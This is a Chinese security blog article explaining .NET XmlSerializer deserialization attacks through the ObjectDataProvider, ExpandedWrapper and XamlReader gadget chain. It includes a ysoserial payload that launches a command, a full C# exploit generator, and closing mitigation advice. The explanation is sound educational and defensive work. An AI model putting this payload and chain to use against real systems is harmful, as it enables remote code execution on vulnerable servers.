Dotnet-XmlSerializer反序列化

admin 2026-11-18 01:07:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

Dotnet - XmlSerializer 反序列化

原创

Luc1dkilL
Luc1dkilL

蚁景网络安全

2026年11月17日 17:35
湖南

去阅读

序列化和反序列化的演示Dem)o

参考微软的文档:https://learn.microsoft.com/zh-cn/dotnet/api/system.xml.serialization.xmlserializer?view=net-5.0

  • • XmlSerializer

命名空间:System.Xml.Serialization

程序集:System.Xml.XmlSerializer.dll

  • • 演示demo

注解:

[XmlRoot]    // XML根
[XmlElement] // XML中的实体节点
[XmlArray(\"Items\")]
[XmlAttribute]    // 声明的对应变量位于XML元素的开始标签属性   <book name=\"1\"></book>  比如name

如何进行序列化:

    1. 声明内存空间,使用流对象代理
    1. 声明写内存的StreamWriter对象,由于序列化需要传入Textwriter类型,所以声明为Textwriter
// 传入类型, 指明了xml文档对应的对象类型
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));

// 声明流
MemoryStream memoryStream = new MemoryStream();

// TextWriter为写连续字符的抽象类
TextWriter writer = new StreamWriter(memoryStream);

// 序列化
xmlSerializer.Serialize(writer, p);

// 输出序列化后的xml文档
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));

反序列化:

// 重置流指针, 为反序列化做准备
memoryStream.position = 0;
// 反序列化
Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);

完整代码:

namespace XmlDeserialization
{
    // XML
    [XmlRoot]
    publicclassPerson
    {
        [XmlElement]
        publicint Age { get; set; }

        // XML文档中的一个元素
        [XmlElement]
        publicstring Name { get; set; }

        [XmlArray(\"Items\")]
        public Order[] OrderedItems;

        // XML元素的开始标签属性   <book name=\"1\"></book>  比如name
        [XmlAttribute]
        publicstring ClassName { get; set; }

    }

    publicclassOrder
    {
        publicint OrderID;
    }

    // 测试
    internalclassProgram
    {
        public static void Main(string[] args)
        {
            Person p = new Person();
            p.Name = \"jack\";
            p.Age = 12;
            // 两份 order
            Order order = new Order();
            order.OrderID = 123;
            Order order1 = new Order();
            order.OrderID = 456;
            Order[] orders = new Order[] { order, order1 };
            p.OrderedItems = orders;
            p.ClassName = \"classname\";

            XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
            //XmlSerializer xmlSerializer = new XmlSerializer(p.GetType());
            //XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(\"XmlDeserialization.Person\"));

            MemoryStream memoryStream = new MemoryStream();
            TextWriter writer = new StreamWriter(memoryStream);

            // 序列化
            xmlSerializer.Serialize(writer, p);

            memoryStream.Position = 0;

            // 输出xml
            Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
            // 反序列化
            Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
            Console.WriteLine(p1);
        }
    }
}

反序列化漏洞分析

环境配置

首先需要下载好依赖,使用NuGet,有GUI很舒服

(可以去微软文档查看对应函数需要的程序集)

image-20240224154616524

以及添加引用using System.Data.Services.Internal;

image-20240224155504380

漏洞成立的前提:XmlSerializer的“类型可控”

在进入具体 gadget 之前,需要先明确 XmlSerializer 反序列化漏洞的根本触发条件。XmlSerializer 本身并不像 BinaryFormatter 那样从数据流中读取任意的类型名——它的类型是由 new XmlSerializer(typeof(T)) 构造时静态确定的。因此,攻击者能够控制传给 XmlSerializer 构造函数的 Type 参数,是整条利用链成立的前提。

一旦类型可控,攻击者就可以把一个看似合法的“容器类型”交给 XmlSerializer,而这个容器在反序列化时会重建内部的危险对象。下面的 ObjectDataProvider 与 ExpandedWrapper 正是为此设计的“容器—执行体”组合。

ObjectDataProvider使用

官方文档的介绍:https://learn.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider?view=windowsdesktop-8.0

Wraps and creates an object that you can use as a binding source.

演示demo

ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add(\"cmd.exe\");        // 参数
o.MethodParameters.Add(\"/c calc\");
o.MethodName = \"Start\";                    // 对象方法
o.ObjectInstance = new Process();        // 绑定的对象实例

但是没办法对该对象进行XML序列化,那么自然也就没有反序列化

具体原因如报错:

未经处理的异常:  System.InvalidOperationException: 生成 XML 文档时出错。 ---> System.InvalidOperationException: 不应是类型 System.Diagnostics.Process。使用 XmlInclude 或 SoapInclude 特性静态指定非已知的类型。

未动态执行前,无法得知ObjectDataProvider绑定的对象信息

image-20240226103005923

image-20240226103044699

ObjectDataProvider为什么会在\"赋值\"时触发执行

ObjectDataProvider 的危险性不仅在于它能包装任意对象,更在于它会在属性赋值的过程中主动调用方法。查看 System.Windows.Data.ObjectDataProvider 的实现可以发现:

  • • 当 MethodName 被设置时,基类的 Refresh() 会被调用。
  • • Refresh() 进而触发 BeginQuery(),ObjectDataProvider 重写了 BeginQuery(),最终执行到 QueryWorker()。
  • • 在 QueryWorker() 中,关键调用是 this.InvokeMethodOnInstance(out ex),即通过反射对 ObjectInstance 调用 MethodName 指定的方法,并传入 MethodParameters 中的参数。

也就是说,反序列化器只要重建 ObjectDataProvider 并还原它的 MethodName、MethodParameters、ObjectInstance 属性,不需要额外的“执行”动作,方法调用就已经在属性赋值阶段完成。这就是 ObjectDataProvider 作为反序列化 gadget 的核心机制。

ExpandedWrapper包装器

  • • ExpandedWrapper包装类定义如下:主要是一个泛型的思想在这
  public sealedclassExpandedWrapper<TExpandedElement, TProperty0> :
    ExpandedWrapper<TExpandedElement>
  {
    /// <summary>Get or sets the property to expand.</summary>
    /// <returns>The property to expand.</returns>
    public TProperty0 ProjectedProperty0 { get; set; }

    protected override object InternalGetExpandedPropertyValue(int nameIndex)
    {
      if (nameIndex == 0)
        return (object) this.ProjectedProperty0;
      throw Error.NotSupported();
    }
  }
  • • 使用方法:

TProperty0表示要包装的类型

ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Process, ObjectDataProvider>();

序列化

        ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper =
            new ExpandedWrapper<Process, ObjectDataProvider>();
        expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
        expandedWrapper.ProjectedProperty0.MethodName = \"Start\";
        expandedWrapper.ProjectedProperty0.MethodParameters.Add(\"calc\");
        expandedWrapper.ProjectedProperty0.ObjectInstance = new Process();

        Type t = typeof(ExpandedWrapper<Process, ObjectDataProvider>);

        XmlSerializer xml = new XmlSerializer(t);
        MemoryStream memoryStream = new MemoryStream();
        TextWriter writer = new StreamWriter(memoryStream);
        xml.Serialize(writer, expandedWrapper);

通过泛型类包装可以绕过序列化时因未知类型而失败的限制

但是Process类中存在接口,无法被序列化

image-20240226144123413

ExpandedWrapper如何传递给XmlSerializer被包装的类型

ExpandedWrapper 的官方定位是 WCF Data Services 的基础设施,并不建议直接在业务代码中使用。它的关键设计在于:泛型参数 TProperty0 会在序列化时把被包装对象的类型信息一并写入元数据。

在没有 ExpandedWrapper 的情况下,如果直接把 ObjectDataProvider 交给 XmlSerializer,序列化器只知道 ObjectDataProvider 本身,不知道它内部 ObjectInstance 将来会被替换成什么具体类型(比如 Process),因此会因为“非已知类型”而拒绝序列化。ExpandedWrapper 通过将类型 TProperty0 显式暴露为泛型参数,使 XmlSerializer 在反序列化时能够构造出被包装对象的实例,同时通过 ProjectedProperty0 属性暴露 ObjectDataProvider 的 MethodName 和 MethodParameters,从而让反序列化过程自动重建一个“配置好待执行方法”的 ObjectDataProvider。

不过,ExpandedWrapper<Process, ObjectDataProvider> 仍然会因为 Process 内部存在接口/不可序列化成员而在 XmlSerializer 下失败。因此攻击链需要把被包装的类型从 Process 换成 XamlReader——它是一个可以被 XmlSerializer 正常处理的类型,同时它的 Parse 方法可以作为第二阶段的执行入口。

ResourceDictionary攻击链

Windows Presentation Foundation (WPF) :一个独立于分辨率并使用基于矢量的渲染引擎的 UI 框架

XAML 是一种声明性标记语言。当应用于 .NET 编程模型时,XAML 简化了为 .NET 应用程序创建 UI

ResourceDictionary包含了wpf,那么自然可以涉及到xaml

首先我们使用yso生成XAML形式打ObjectDataProvider的反序列化链

> ysoserial.exe -g ObjectDataProvider -c calc -f Xaml
<?xml version=\"1.0\" encoding=\"utf-16\"?>
<ObjectDataProvider MethodName=\"Start\" IsInitialLoadEnabled=\"False\" xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:sd=\"clr-namespace:System.Diagnostics;assembly=System\" xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments=\"/c calc\" StandardErrorEncoding=\"{x:Null}\" StandardOutputEncoding=\"{x:Null}\" UserName=\"\" Password=\"{x:Null}\" Domain=\"\" LoadUserProfile=\"False\" FileName=\"cmd\" />
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>

配合ExpandedWrapper, ObjectDataProvider思路:

XmlSerializer-- ExpandedWrapper -- ObjectDataProvidfer -- XamlReader.Parse

完整exp如下:

            string cmd = @\"<?xml version=\"\"1.0\"\" encoding=\"\"utf-16\"\"?>
<ObjectDataProvider MethodName=\"\"Start\"\" IsInitialLoadEnabled=\"\"False\"\" xmlns=\"\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\" xmlns:sd=\"\"clr-namespace:System.Diagnostics;assembly=System\"\" xmlns:x=\"\"http://schemas.microsoft.com/winfx/2006/xaml\"\">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments=\"\"/c calc\"\" StandardErrorEncoding=\"\"{x:Null}\"\" StandardOutputEncoding=\"\"{x:Null}\"\" UserName=\"\"\"\" Password=\"\"{x:Null}\"\" Domain=\"\"\"\" LoadUserProfile=\"\"False\"\" FileName=\"\"cmd\"\" />
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>\";

            ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper =
                new ExpandedWrapper<XamlReader, ObjectDataProvider>();
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
            // 设置ObjectDataProvider的相关参数
            expandedWrapper.ProjectedProperty0.MethodName = \"Parse\";
            expandedWrapper.ProjectedProperty0.MethodParameters.Add(cmd);
            expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();

            // 序列化
            MemoryStream memoryStream = new MemoryStream();
            TextWriter textWriter = new StreamWriter(memoryStream);
            XmlSerializer xmlSerializer = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
            xmlSerializer.Serialize(textWriter, expandedWrapper);
            string XMLShell = Encoding.UTF8.GetString(memoryStream.ToArray());

            //
            Console.WriteLine(XMLShell);

XamlReader.Parse为什么能成为最终执行点

在上面的完整 exp 中,ObjectDataProvider 被配置为对 XamlReader 的 Parse 方法发起调用,而传入 Parse 的参数是一段嵌套了 ObjectDataProvider 的 XAML 文档。这一设计的关键在于 XamlReader 解析 XAML 时的对象构建行为:

当 XamlReader.Parse 处理以 ResourceDictionary 为根元素的 XAML 时,它首先创建 ResourceDictionary 对象;由于该对象实现了字典接口,其中声明的 ObjectDataProvider 会作为成员被存储下来。随后,在初始化这个内层 ObjectDataProvider 的过程中,ObjectType、MethodName、MethodParameters 被依次赋值;正如前文所述,MethodParameters 的变化会触发 OnParametersChanged,最终通过反射调用到 Process.Start,命令得以执行。

整体利用链

[攻击者可控的序列化数据 / XML]
        │
        │ XmlSerializer.Deserialize(stream, typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>))
        ▼
┌──────────────────────────────────────────────────────────────┐
│ ExpandedWrapper<XamlReader, ObjectDataProvider>              │
│                                                              │
│  ProjectedProperty0 ────────────────┐                        │
└─────────────────────────────────────│────────────────────────┘
                                      ▼
                     ┌──────────────────────────────────────┐
                     │ ODP_A:ObjectDataProvider            │
                     │                                      │
                     │ ObjectInstance = new XamlReader()    │
                     │ MethodName     = \"Parse\"             │
                     │ MethodParameters[0] = 恶意 XAML 字符串│
                     └──────────────────┬───────────────────┘
                                        │
                                        │ 反序列化还原属性时触发 Refresh()
                                        │ → BeginQuery()
                                        │ → QueryWorker()
                                        │ → InvokeMethodOnInstance()
                                        ▼
                     ┌──────────────────────────────────────┐
                     │ XamlReader.Parse(恶意 XAML)          │
                     └──────────────────┬───────────────────┘
                                        │
                                        │ 解析 XAML,创建其中的对象
                                        ▼
                     ┌──────────────────────────────────────┐
                     │ ODP_B:XAML 中的 ObjectDataProvider  │
                     │                                      │
                     │ ObjectInstance = Process             │
                     │ MethodName     = \"Start\"             │
                     │ MethodParameters = \"cmd\"、\"/c calc\"  │
                     └──────────────────┬───────────────────┘
                                        │
                                        │ 属性赋值再次触发 Refresh()
                                        │ → InvokeMethodOnInstance()
                                        ▼
                     ┌──────────────────────────────────────┐
                     │ Process.Start(\"cmd\", \"/c calc\")      │
                     │ → 命令执行                           │
                     └──────────────────────────────────────┘

缓解与防御要点

  • • 不要将用户可控的数据传入 new XmlSerializer(Type)。XmlSerializer 的安全性在很大程度上依赖于“类型在编译时固定”;一旦类型参数可控,ExpandedWrapper 等合法但非预期的类型就可能被用来构造利用链。
  • • 限制可反序列化的类型集合。如果业务确实需要反序列化多种类型,应使用白名单或 XmlInclude/SoapInclude 显式限定允许的类型,而不是接受外部传入的类型名。
  • • 避免加载 WPF/PresentationFramework 的非必要程序集。ObjectDataProvider 与 XamlReader 均来自 PresentationFramework.dll;在不依赖 WPF 的服务端场景中,减少该类程序集的加载面可以降低 gadget 可用性。
  • • 警惕 XML 中的 xsi:type 与嵌套 XAML 片段。如果反序列化入口允许 XML 中出现 xsi:type 或类似类型提示,应视为高风险信号,并结合白名单进行拦截。

评论:0   参与:  0